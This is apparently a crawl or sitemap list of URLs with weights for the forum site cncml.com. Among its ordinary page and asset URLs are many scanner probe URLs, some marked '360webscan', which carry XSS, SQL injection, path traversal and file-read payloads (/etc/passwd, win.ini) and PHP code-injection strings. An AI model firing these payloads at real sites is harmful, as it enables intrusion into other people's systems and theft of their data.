http://www.cncml.com/source/plugin/?%22onmouseover='prompt(42873)'bad=%22%3E 0.0001 http://www.cncml.com/source/plugin/?callback=%3Cscript%3Eprompt(42873)%3C/script%3E 0.0001 http://www.cncml.com/source/plugin/?m=User&a=login_800&from=tuan800&sign=xxoo&qname=%27%20AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/source/plugin/?overview 0.0001 http://www.cncml.com/source/plugin/?plugins&q=area&name=type=p,c&area=1&area_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/source/plugin/?plugins&q=prosite&site_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/source/plugin/?user&q=action/check_email&email=%27%20and%20%28select%201%20from%20%28select%20count%28%2a%29%2Cconcat%28md5%280x7765627363616e%29%2Cfloor%28rand%280%29%2a2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23 0.0001 http://www.cncml.com/source/plugin/?xss_test%3Ciframe%20src=javascript:this%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(%2242873%22)%3E 0.0001 http://www.cncml.com/source/plugin/blueidea_qqgroup/img/qqgroup.png 0.0017 http://www.cncml.com/source/plugin/mobile/template/image/android.jpg 0.0001 http://www.cncml.com/source/plugin/mobile/template/image/codebg.jpg 0.0001 http://www.cncml.com/source/plugin/mobile/template/image/iphone.jpg 0.0001 http://www.cncml.com/source/plugin/mobile/template/image/title_intro.jpg 0.0001 http://www.cncml.com/source/plugin/mobile/template/image/wp7.jpg 0.0001 http://www.cncml.com/source/plugin/mobile/template/image/wrapbg.jpg 0.0001 http://www.cncml.com/source/plugin/mobile/template/style.css 0.0001 http://www.cncml.com/source/plugin/study_nge/ 0.0004 http://www.cncml.com/source/plugin/study_nge/?%22onmouseover='prompt(42873)'bad=%22%3E 0.0001 http://www.cncml.com/source/plugin/study_nge/?callback=%3Cscript%3Eprompt(42873)%3C/script%3E 0.0001 http://www.cncml.com/source/plugin/study_nge/?m=User&a=login_800&from=tuan800&sign=xxoo&qname=%27%20AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/source/plugin/study_nge/?overview 0.0001 http://www.cncml.com/source/plugin/study_nge/?plugins&q=area&name=type=p,c&area=1&area_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/source/plugin/study_nge/?plugins&q=prosite&site_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/source/plugin/study_nge/?user&q=action/check_email&email=%27%20and%20%28select%201%20from%20%28select%20count%28%2a%29%2Cconcat%28md5%280x7765627363616e%29%2Cfloor%28rand%280%29%2a2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23 0.0001 http://www.cncml.com/source/plugin/study_nge/?xss_test%3Ciframe%20src=javascript:this%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(%2242873%22)%3E 0.0001 http://www.cncml.com/source/plugin/study_nge/images/ 0.0004 http://www.cncml.com/source/plugin/study_nge/images/?%22onmouseover='prompt(42873)'bad=%22%3E 0.0001 http://www.cncml.com/source/plugin/study_nge/images/?callback=%3Cscript%3Eprompt(42873)%3C/script%3E 0.0001 http://www.cncml.com/source/plugin/study_nge/images/?m=User&a=login_800&from=tuan800&sign=xxoo&qname=%27%20AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/source/plugin/study_nge/images/?overview 0.0001 http://www.cncml.com/source/plugin/study_nge/images/?plugins&q=area&name=type=p,c&area=1&area_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/source/plugin/study_nge/images/?plugins&q=prosite&site_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/source/plugin/study_nge/images/?user&q=action/check_email&email=%27%20and%20%28select%201%20from%20%28select%20count%28%2a%29%2Cconcat%28md5%280x7765627363616e%29%2Cfloor%28rand%280%29%2a2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23 0.0001 http://www.cncml.com/source/plugin/study_nge/images/?xss_test%3Ciframe%20src=javascript:this%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(%2242873%22)%3E 0.0001 http://www.cncml.com/source/plugin/study_nge/images/clock.swf 0.0001 http://www.cncml.com/source/plugin/study_nge/template/default/css/nge.css?ZZS 0.0003 http://www.cncml.com/source/plugin/study_nge/template/default/js/common.js?ZZS 0.0003 http://www.cncml.com/space-uid-1.html 0.0002 http://www.cncml.com/space-uid-100.html 0.0001 http://www.cncml.com/space-uid-101.html 0.0001 http://www.cncml.com/space-uid-102.html 0.0001 http://www.cncml.com/space-uid-87.html 0.0002 http://www.cncml.com/space-uid-88.html 0.0001 http://www.cncml.com/space-uid-89.html 0.0001 http://www.cncml.com/space-uid-90.html 0.0001 http://www.cncml.com/space-uid-91.html 0.0004 http://www.cncml.com/space-uid-93.html 0.0001 http://www.cncml.com/space-uid-94.html 0.0002 http://www.cncml.com/space-uid-95.html 0.0002 http://www.cncml.com/space-uid-96.html 0.0003 http://www.cncml.com/space-uid-97.html 0.0001 http://www.cncml.com/space-uid-98.html 0.0003 http://www.cncml.com/space-username-admin.html 0.0003 http://www.cncml.com/space-username-cindy.html 0.0001 http://www.cncml.com/space-username-maomao.html 0.0002 http://www.cncml.com/space-username-pengkai888.html 0.0003 http://www.cncml.com/static/ 0.0009 http://www.cncml.com/static/?%22onmouseover='prompt(42873)'bad=%22%3E 0.0001 http://www.cncml.com/static/?/home/explore/category-1)%20AND%20(SELECT%204037%20FROM(SELECT%20COUNT(*),CONCAT(CHAR(58,100,114,108,58),(SELECT%20(CASE%20WHEN%20(4037=4037)%20THEN%201%20ELSE%200%20END)),CHAR(58,122,103,111,58),FLOOR(RAND(0)*2))x%20FROM%20information_schema.tables%20GROUP%20BY%20x)a)%20AND%20(9909=9909 0.0001 http://www.cncml.com/static/?/people/360webscan?notification_id-360webscan' 0.0001 http://www.cncml.com/static/?/people/ajax/user_actions/uid-1__actions-1)%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(sha1(0x3336307765627363616e),(SELECT%20(CASE%20WHEN%20(8274=8274)%20THEN%201%20ELSE%200%20END)),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%20and%20(1=1 0.0001 http://www.cncml.com/static/?/s_tag/hehe%25%27%20union%20select%201,2,3,md5(1122),5,6,7%20from%20go_admin%23 0.0001 http://www.cncml.com/static/?__runfile0123456789=/etc/passwd 0.0001 http://www.cncml.com/static/?__runfile0123456789=c:%5Cwindows%5Cwin.ini 0.0001 http://www.cncml.com/static/?action=course&do=-1%20AND%20(SELECT%202358%20FROM(SELECT%20COUNT(*),CONCAT(0x7765627363616E3A,(SELECT%20(CASE%20WHEN%20(2358=2358)%20THEN%201%20ELSE%200%20END)),0x3A66696E643A,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%23&&todo=list 0.0001 http://www.cncml.com/static/?app=vote&controller=vote&action=total&contentid=1%20and%20cast(ascii(substring(version(),1,1))=53%20as%20signed) 0.0001 http://www.cncml.com/static/?app=widget&mod=feedlist&act=getdata&maxId=111&act=loadNew&templateCacheFile=C:%5CWindows%5Cwin.ini 0.0001 http://www.cncml.com/static/?callback=%3Cscript%3Eprompt(42873)%3C/script%3E 0.0001 http://www.cncml.com/static/?gallery-1--1--'%20%3E%3Ciframe%20src=javascript:window%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(42873)%20'--grid.html 0.0001 http://www.cncml.com/static/?m=User&a=login_800&from=tuan800&sign=xxoo&qname=%27%20AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/static/?m=info&rewrite=1'%20union%20select%201,concat(0x23,md5(1122),0x23)%20from%20my_admin%20where%20id=1%20--%20a 0.0001 http://www.cncml.com/static/?m=info.detail&id=1-webscan 0.0001 http://www.cncml.com/static/?m=offer&s=offer_list&id=1-webscan%23 0.0001 http://www.cncml.com/static/?m=product&s=list&key=12'%20and%201=(updatexml(1,concat(0x5e24,(select%20md5(1122)),0x5e24),1))%23 0.0001 http://www.cncml.com/static/?m=vote&id=&vid=1,3)%20and%20%20webscan1122%23 0.0001 http://www.cncml.com/static/?mod=account&code=Login_callback&cmd=a&from=../../../robots.txt%00 0.0001 http://www.cncml.com/static/?mod=account&code=Sendcheckmail&uname=-1%2527%20or%201=1%23 0.0001 http://www.cncml.com/static/?mod=wap&code=coupon_input&msgcode=ops-success&last%5B%5D==1%20union%20/*!select*/%201,1,1,1,1,1,1,1234567890,1%20from%20cenwor_system_members 0.0001 http://www.cncml.com/static/?overview 0.0001 http://www.cncml.com/static/?plugins&area=&class=u_sel&name=work_&q=areas&type=p,c&value=1/**/and/**/extractvalue(1,concat(0x5c,md5(1122)));-- 0.0001 http://www.cncml.com/static/?plugins&q=area&name=type=p,c&area=1&area_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/static/?plugins&q=prosite&site_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/static/?product-75-1@%7C1122%22%3E%3Ciframe%20src=javascript:this%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(%2242873%22)%20-index.html 0.0001 http://www.cncml.com/static/?question/search/%27%75nion%20select%201,2,3,4,5,6,7,8,md5(1122),10,11,12,13,14,15,16,17,18,19,20%23 0.0001 http://www.cncml.com/static/?question/search/tag:0%27%75nion%20select%201,2,3,4,5,6,(%73elect%20concat(0x23,md5(1122),0x23)%20%66rom%20ask_user%20limit%200,1),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%23.html 0.0001 http://www.cncml.com/static/?question/tag/0%27%75nion%20select%201,2,3,4,5,6,(%73elect%20concat(0x23,md5(1122),0x23)%20%66rom%20ask_user%20limit%200,1),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%23.html 0.0001 http://www.cncml.com/static/?s=/abc/abc/abc/$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D/ 0.0001 http://www.cncml.com/static/?s=abc~abc~abc~$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D 0.0001 http://www.cncml.com/static/?tag=test'%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(sha1('360webscan'),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/static/?user&q=action/check_email&email=%27%20and%20%28select%201%20from%20%28select%20count%28%2a%29%2Cconcat%28md5%280x7765627363616e%29%2Cfloor%28rand%280%29%2a2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23 0.0001 http://www.cncml.com/static/?user&q=login&&q=check_email&email=test@sec.org%27%20and%20(Select%201%20from%20(Select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 0.0001 http://www.cncml.com/static/?user&q=login&&q=check_username&username=only_test%27%20and%20(Select%201%20from%20(Select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 0.0001 http://www.cncml.com/static/?user-getpass-1' 0.0001 http://www.cncml.com/static/?user-space-1' 0.0001 http://www.cncml.com/static/?xss_test%3Ciframe%20src=javascript:this%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(%2242873%22)%3E 0.0001 http://www.cncml.com/static/image/admincp/admincp.css 0.0001 http://www.cncml.com/static/image/admincp/admincp.css?ZZS 0.0001 http://www.cncml.com/static/image/admincp/bg_login.gif 0.0001 http://www.cncml.com/static/image/admincp/bg_repno.gif 0.0001 http://www.cncml.com/static/image/admincp/bg_repx.gif 0.0001 http://www.cncml.com/static/image/admincp/bg_repx_h.gif 0.0001 http://www.cncml.com/static/image/admincp/bg_repx_hb.gif 0.0001 http://www.cncml.com/static/image/admincp/bg_repx_hc.gif 0.0001 http://www.cncml.com/static/image/admincp/btn_block.gif 0.0001 http://www.cncml.com/static/image/admincp/btn_block_3.gif 0.0001 http://www.cncml.com/static/image/admincp/btn_map.gif 0.0001 http://www.cncml.com/static/image/admincp/login_title.gif 0.0001 http://www.cncml.com/static/image/admincp/logo.gif 0.0002 http://www.cncml.com/static/image/admincp/newwin.gif 0.0001 http://www.cncml.com/static/image/admincp/scrolld.gif 0.0001 http://www.cncml.com/static/image/admincp/scrollu.gif 0.0001 http://www.cncml.com/static/image/click/jidan.gif 0.0001 http://www.cncml.com/static/image/click/leiren.gif 0.0001 http://www.cncml.com/static/image/click/luguo.gif 0.0001 http://www.cncml.com/static/image/click/woshou.gif 0.0001 http://www.cncml.com/static/image/click/xianhua.gif 0.0001 http://www.cncml.com/static/image/common/alipay_logo.gif 0.0006 http://www.cncml.com/static/image/common/logo.png 0.0017 http://www.cncml.com/static/image/common/logo_88_31.gif 0.0006 http://www.cncml.com/static/image/common/none.gif 0.0001 http://www.cncml.com/static/image/common/online_admin.gif 0.0004 http://www.cncml.com/static/image/common/security.png 0.0017 http://www.cncml.com/static/image/diy/cp-bg.png 0.0001 http://www.cncml.com/static/image/diy/cp-close.png 0.0001 http://www.cncml.com/static/image/diy/cp-more.png 0.0001 http://www.cncml.com/static/image/diy/cp-nav-active.png 0.0001 http://www.cncml.com/static/image/diy/cp-nav-corner-bl.png 0.0001 http://www.cncml.com/static/image/diy/cp-nav-corner-br.png 0.0001 http://www.cncml.com/static/image/diy/cp-nav-corner-tr.png 0.0001 http://www.cncml.com/static/image/diy/cp-nav.png 0.0001 http://www.cncml.com/static/image/diy/cp-preview.png 0.0001 http://www.cncml.com/static/image/diy/cp-save.png 0.0001 http://www.cncml.com/static/image/diy/cp-step.png 0.0001 http://www.cncml.com/static/image/diy/layout-1-1-1.png 0.0001 http://www.cncml.com/static/image/diy/layout-1-1.png 0.0001 http://www.cncml.com/static/image/diy/layout-1-2.png 0.0001 http://www.cncml.com/static/image/diy/layout-1-3.png 0.0001 http://www.cncml.com/static/image/diy/layout-1.png 0.0001 http://www.cncml.com/static/image/diy/layout-2-1.png 0.0001 http://www.cncml.com/static/image/diy/layout-3-1.png 0.0001 http://www.cncml.com/static/image/diy/layout-tab.png 0.0001 http://www.cncml.com/static/image/diy/layout.png 0.0001 http://www.cncml.com/static/image/diy/module.png 0.0001 http://www.cncml.com/static/image/diy/panel-toggle-drop.png 0.0001 http://www.cncml.com/static/image/diy/panel-toggle.png 0.0001 http://www.cncml.com/static/image/diy/t-diy.png 0.0001 http://www.cncml.com/static/image/editor/editor.gif 0.0004 http://www.cncml.com/static/image/feed/album.gif 0.0001 http://www.cncml.com/static/image/feed/share.gif 0.0001 http://www.cncml.com/static/image/magic/highlight.small.gif 0.0004 http://www.cncml.com/static/image/magic/jack.small.gif 0.0004 http://www.cncml.com/static/image/magic/stick.small.gif 0.0004 http://www.cncml.com/static/image/mobile/images/arrow_top.png 0.0001 http://www.cncml.com/static/image/mobile/images/btn_s_bg.png 0.0001 http://www.cncml.com/static/image/mobile/images/button_bg2.png 0.0001 http://www.cncml.com/static/image/mobile/images/header_bg.jpg 0.0001 http://www.cncml.com/static/image/mobile/images/icon.png 0.0001 http://www.cncml.com/static/image/mobile/images/icon_back.png 0.0001 http://www.cncml.com/static/image/mobile/images/icon_photo.png 0.0001 http://www.cncml.com/static/image/mobile/images/logo.png 0.0001 http://www.cncml.com/static/image/mobile/images/nav_b_line.png 0.0001 http://www.cncml.com/static/image/mobile/images/pic_bg.jpg 0.0001 http://www.cncml.com/static/image/mobile/input_bg.gif 0.0001 http://www.cncml.com/static/image/mobile/logo.gif 0.0001 http://www.cncml.com/static/image/mobile/style.css 0.0005 http://www.cncml.com/static/image/stamp/001.gif 0.0001 http://www.cncml.com/static/image/stamp/006.gif 0.0001 http://www.cncml.com/static/js/calendar.js 0.0001 http://www.cncml.com/static/js/mobile/common.js?U39 0.0013 http://www.cncml.com/static/js/mobile/jquery-1.8.3.min.js?U39 0.0013 http://www.cncml.com/static/js/qshare.js 0.0010 http://www.cncml.com/static/space/t4/style.css?ZZS 0.0001 http://www.cncml.com/study_nge-desktopshotcut.html 0.0001 http://www.cncml.com/template/comiis_x3dfmh/ad/dfmh_ad03.jpg 0.0006 http://www.cncml.com/template/comiis_x3dfmh/ad/dfmh_ad06.jpg 0.0006 http://www.cncml.com/template/comiis_x3dfmh/ad/dfmh_ad08.jpg 0.0006 http://www.cncml.com/template/comiis_x3dfmh/ad/dfmh_ad09.jpg 0.0006 http://www.cncml.com/template/comiis_x3dfmh/ad/dfmh_ad10.jpg 0.0006 http://www.cncml.com/template/comiis_x3dfmh/ad/dfmh_ad11.jpg 0.0006 http://www.cncml.com/template/comiis_x3dfmh/ad/dfmh_ad12.jpg 0.0006 http://www.cncml.com/template/comiis_x3dfmh/ad/dfmh_ad13.jpg 0.0006 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/12321.gif 0.0017 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/activitysmall.gif 0.0001 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/arrwd.gif 0.0004 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/arw_l.gif 0.0004 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/arw_r.gif 0.0004 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/china.gif 0.0017 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/comiis_bodybg.jpg 0.0017 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/comiis_ico.png 0.0006 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/comiis_ssbg.jpg 0.0016 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/connect_qq.gif 0.0001 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/dot.gif 0.0004 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/fastreply.gif 0.0004 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/fav.gif 0.0006 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/feed.gif 0.0001 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/fj_btn.png 0.0004 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/imageloading.gif 0.0002 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/imgzoom_tb.gif 0.0002 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/loading.gif 0.0003 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/midavt_shadow.gif 0.0004 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/notice.gif 0.0001 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/nv.png 0.0016 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/nv_a.png 0.0016 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/oshr.png 0.0006 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/pengyou.png 0.0004 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/pic-next.png 0.0002 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/pic-prev.png 0.0002 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/pic_nv_next.gif 0.0011 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/pic_nv_prev.gif 0.0011 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/pn.png 0.0017 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/pn_post.png 0.0004 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/popupcredit_bg.gif 0.0001 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/print.png 0.0004 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/pt_item.png 0.0010 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/px.png 0.0017 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/qmenu.png 0.0016 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/qq_login.gif 0.0018 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/qq_share.png 0.0004 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/qzone.gif 0.0004 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/rec_add.gif 0.0005 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/rec_subtract.gif 0.0005 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/right.gif 0.0001 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/scrolltop.png 0.0016 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/search.png 0.0016 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/share_btn.png 0.0004 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/site_qq.jpg 0.0018 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/star_level3.gif 0.0004 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/tag.gif 0.0004 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/thread-next.png 0.0004 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/thread-prev.png 0.0004 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/tip_top.png 0.0001 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/titlebg.png 0.0004 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/userinfo.gif 0.0004 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/vlineb.png 0.0001 http://www.cncml.com/template/comiis_x3dfmh/comiis_pic/weibo.png 0.0004 http://www.cncml.com/thread-1-1-1.html 0.0002 http://www.cncml.com/thread-10-1-1.html 0.0003 http://www.cncml.com/thread-100-1-1.html 0.0003 http://www.cncml.com/thread-101-1-1.html 0.0002 http://www.cncml.com/thread-103-1-1.html 0.0002 http://www.cncml.com/thread-104-1-1.html 0.0001 http://www.cncml.com/thread-106-1-1.html 0.0001 http://www.cncml.com/thread-107-1-1.html 0.0003 http://www.cncml.com/thread-108-1-1.html 0.0002 http://www.cncml.com/thread-109-1-1.html 0.0003 http://www.cncml.com/thread-11-1-1.html 0.0002 http://www.cncml.com/thread-110-1-1.html 0.0003 http://www.cncml.com/thread-111-1-1.html 0.0004 http://www.cncml.com/thread-112-1-1.html 0.0004 http://www.cncml.com/thread-113-1-1.html 0.0001 http://www.cncml.com/thread-114-1-1.html 0.0001 http://www.cncml.com/thread-115-1-1.html 0.0001 http://www.cncml.com/thread-116-1-1.html 0.0004 http://www.cncml.com/thread-117-1-1.html 0.0001 http://www.cncml.com/thread-118-1-1.html 0.0001 http://www.cncml.com/thread-119-1-1.html 0.0003 http://www.cncml.com/thread-12-1-1.html 0.0002 http://www.cncml.com/thread-120-1-1.html 0.0002 http://www.cncml.com/thread-121-1-1.html 0.0002 http://www.cncml.com/thread-122-1-1.html 0.0003 http://www.cncml.com/thread-123-1-1.html 0.0003 http://www.cncml.com/thread-124-1-1.html 0.0001 http://www.cncml.com/thread-125-1-1.html 0.0004 http://www.cncml.com/thread-128-1-1.html 0.0003 http://www.cncml.com/thread-129-1-1.html 0.0009 http://www.cncml.com/thread-13-1-1.html 0.0001 http://www.cncml.com/thread-130-1-1.html 0.0003 http://www.cncml.com/thread-130-1-2.html 0.0001 http://www.cncml.com/thread-131-1-1.html 0.0002 http://www.cncml.com/thread-132-1-1.html 0.0002 http://www.cncml.com/thread-133-1-1.html 0.0002 http://www.cncml.com/thread-134-1-1.html 0.0004 http://www.cncml.com/thread-136-1-1.html 0.0003 http://www.cncml.com/thread-137-1-1.html 0.0003 http://www.cncml.com/thread-138-1-1.html 0.0006 http://www.cncml.com/thread-139-1-1.html 0.0006 http://www.cncml.com/thread-14-1-1.html 0.0001 http://www.cncml.com/thread-140-1-1.html 0.0001 http://www.cncml.com/thread-141-1-1.html 0.0004 http://www.cncml.com/thread-142-1-1.html 0.0006 http://www.cncml.com/thread-143-1-1.html 0.0001 http://www.cncml.com/thread-144-1-1.html 0.0015 http://www.cncml.com/thread-145-1-1.html 0.0001 http://www.cncml.com/thread-146-1-1.html 0.0004 http://www.cncml.com/thread-147-1-1.html 0.0012 http://www.cncml.com/thread-148-1-1.html 0.0011 http://www.cncml.com/thread-149-1-1.html 0.0013 http://www.cncml.com/thread-15-1-1.html 0.0002 http://www.cncml.com/thread-150-1-1.html 0.0006 http://www.cncml.com/thread-152-1-1.html 0.0003 http://www.cncml.com/thread-153-1-1.html 0.0003 http://www.cncml.com/thread-154-1-1.html 0.0011 http://www.cncml.com/thread-155-1-1.html 0.0003 http://www.cncml.com/thread-156-1-1.html 0.0003 http://www.cncml.com/thread-157-1-1.html 0.0002 http://www.cncml.com/thread-158-1-1.html 0.0002 http://www.cncml.com/thread-159-1-1.html 0.0001 http://www.cncml.com/thread-16-1-1.html 0.0002 http://www.cncml.com/thread-160-1-1.html 0.0004 http://www.cncml.com/thread-161-1-1.html 0.0001 http://www.cncml.com/thread-162-1-1.html 0.0003 http://www.cncml.com/thread-163-1-1.html 0.0001 http://www.cncml.com/thread-164-1-1.html 0.0005 http://www.cncml.com/thread-165-1-1.html 0.0004 http://www.cncml.com/thread-166-1-1.html 0.0004 http://www.cncml.com/thread-167-1-1.html 0.0001 http://www.cncml.com/thread-168-1-1.html 0.0020 http://www.cncml.com/thread-169-1-1.html 0.0001 http://www.cncml.com/thread-17-1-1.html 0.0001 http://www.cncml.com/thread-170-1-1.html 0.0003 http://www.cncml.com/thread-171-1-1.html 0.0001 http://www.cncml.com/thread-172-1-1.html 0.0006 http://www.cncml.com/thread-173-1-1.html 0.0006 http://www.cncml.com/thread-174-1-1.html 0.0003 http://www.cncml.com/thread-175-1-1.html 0.0001 http://www.cncml.com/thread-176-1-1.html 0.0003 http://www.cncml.com/thread-177-1-1.html 0.0002 http://www.cncml.com/thread-178-1-1.html 0.0006 http://www.cncml.com/thread-179-1-1.html 0.0007 http://www.cncml.com/thread-18-1-1.html 0.0001 http://www.cncml.com/thread-181-1-1.html 0.0004 http://www.cncml.com/thread-182-1-1.html 0.0002 http://www.cncml.com/thread-183-1-1.html 0.0004 http://www.cncml.com/thread-184-1-1.html 0.0002 http://www.cncml.com/thread-185-1-1.html 0.0001 http://www.cncml.com/thread-186-1-1.html 0.0002 http://www.cncml.com/thread-187-1-1.html 0.0005 http://www.cncml.com/thread-188-1-1.html 0.0006 http://www.cncml.com/thread-189-1-1.html 0.0005 http://www.cncml.com/thread-19-1-1.html 0.0006 http://www.cncml.com/thread-190-1-1.html 0.0005 http://www.cncml.com/thread-191-1-1.html 0.0005 http://www.cncml.com/thread-192-1-1.html 0.0010 http://www.cncml.com/thread-193-1-1.html 0.0003 http://www.cncml.com/thread-194-1-1.html 0.0001 http://www.cncml.com/thread-195-1-1.html 0.0003 http://www.cncml.com/thread-196-1-1.html 0.0006 http://www.cncml.com/thread-197-1-1.html 0.0006 http://www.cncml.com/thread-198-1-1.html 0.0002 http://www.cncml.com/thread-2-1-1.html 0.0001 http://www.cncml.com/thread-20-1-1.html 0.0005 http://www.cncml.com/thread-203-1-1.html 0.0005 http://www.cncml.com/thread-204-1-1.html 0.0008 http://www.cncml.com/thread-205-1-1.html 0.0003 http://www.cncml.com/thread-206-1-1.html 0.0005 http://www.cncml.com/thread-207-1-1.html 0.0005 http://www.cncml.com/thread-208-1-1.html 0.0004 http://www.cncml.com/thread-209-1-1.html 0.0007 http://www.cncml.com/thread-21-1-1.html 0.0004 http://www.cncml.com/thread-211-1-1.html 0.0001 http://www.cncml.com/thread-212-1-1.html 0.0001 http://www.cncml.com/thread-215-1-1.html 0.0006 http://www.cncml.com/thread-216-1-1.html 0.0006 http://www.cncml.com/thread-217-1-1.html 0.0009 http://www.cncml.com/thread-218-1-1.html 0.0008 http://www.cncml.com/thread-219-1-1.html 0.0011 http://www.cncml.com/thread-22-1-1.html 0.0003 http://www.cncml.com/thread-220-1-1.html 0.0007 http://www.cncml.com/thread-222-1-1.html 0.0005 http://www.cncml.com/thread-224-1-1.html 0.0006 http://www.cncml.com/thread-225-1-1.html 0.0004 http://www.cncml.com/thread-23-1-1.html 0.0003 http://www.cncml.com/thread-24-1-1.html 0.0003 http://www.cncml.com/thread-25-1-1.html 0.0003 http://www.cncml.com/thread-3-1-1.html 0.0002 http://www.cncml.com/thread-36-1-1.html 0.0001 http://www.cncml.com/thread-37-1-1.html 0.0001 http://www.cncml.com/thread-38-1-1.html 0.0011 http://www.cncml.com/thread-39-1-1.html 0.0004 http://www.cncml.com/thread-4-1-1.html 0.0003 http://www.cncml.com/thread-40-1-1.html 0.0002 http://www.cncml.com/thread-41-1-1.html 0.0001 http://www.cncml.com/thread-42-1-1.html 0.0001 http://www.cncml.com/thread-43-1-1.html 0.0001 http://www.cncml.com/thread-45-1-1.html 0.0011 http://www.cncml.com/thread-46-1-1.html 0.0002 http://www.cncml.com/thread-47-1-1.html 0.0001 